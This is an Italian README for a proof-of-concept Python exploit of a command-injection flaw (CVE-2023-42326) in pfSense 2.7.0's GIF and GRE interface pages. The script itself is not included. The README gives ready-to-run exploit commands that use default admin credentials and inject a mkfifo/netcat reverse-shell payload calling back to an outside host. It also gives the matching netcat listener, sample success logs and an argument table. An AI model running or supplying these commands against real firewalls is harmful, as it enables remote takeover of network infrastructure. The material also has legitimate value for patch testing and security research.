
Questa è una semplice POC per mostrare la vulnerabilità di iniezione di comandi in pfsense 2.7 (CVE-2023-42326)
Questo script Python è un exploit Proof-of-Concept (PoC) per la vulnerabilità di iniezione di comandi (CVE-2023-42326) in pfSense 2.7.0. La vulnerabilità consente ad attaccanti autenticati di iniettare ed eseguire comandi arbitrari tramite i componenti interfaces_gif_edit.php e interfaces_gre_edit.php.
gif o gre) per scegliere i componenti vulnerabili.Prima di eseguire lo script, assicurati di avere:
pip install requests beautifulsoup4 rich
Questo comando inietta un comando shell che crea una reverse shell verso la tua macchina:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
-u: Nome utente per l'accesso admin di pfSense.-p: Password per l'accesso admin di pfSense.--mode: Modalità di exploit (gif o gre).-t: URL di destinazione di pfSense.-c: Il comando shell da iniettare.-d: (Opzionale) Abilita la modalità debug per vedere i dati grezzi delle risposte.Assicurati di avere un listener Netcat in esecuzione sulla tua macchina:
nc -lvnp 80
Quindi, esegui lo script con un comando di reverse shell come questo:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &" --insecure(for https without valid ssl)
Accesso a pfSense e sfruttamento dell'interfaccia GIF

Esecuzione di una Reverse Shell

Quando l'exploit viene eseguito con successo, dovresti vedere un output simile a questo:
██████╗ ███████╗██████╗ ██╗ ██╗███╗ ██╗███╗ ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║ ██║████╗ ██║████╗ ████║██╔════╝
██████╔╝█████╗ ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗
██╔═══╝ ██╔══╝ ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝
██║ ██║ ██║ ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
Done with ❤️ by @bl4ckarch
[2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
[2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
[2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully
Se vuoi vedere più dettagli sulle richieste inviate, puoi abilitare la modalità debug aggiungendo -d al tuo comando. Questo stamperà i dati delle risposte e ti aiuterà a diagnosticare eventuali problemi.
python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)
-d per una registrazione più dettagliata se necessario.| Argomento | Descrizione |
|---|
-u | Nome utente per l'accesso admin di pfSense. |
-p | Password per l'accesso admin di pfSense. |
-t | URL/indirizzo IP di destinazione pfSense (es., http://10.101.1.1). |
--mode | Modalità di exploit: gif (per interfaces_gif_edit.php) o gre. |
-c | Comando da iniettare nel componente vulnerabile. |
-d | Opzionale. Abilita la modalità debug per stampare i dati delle risposte per visibilità. |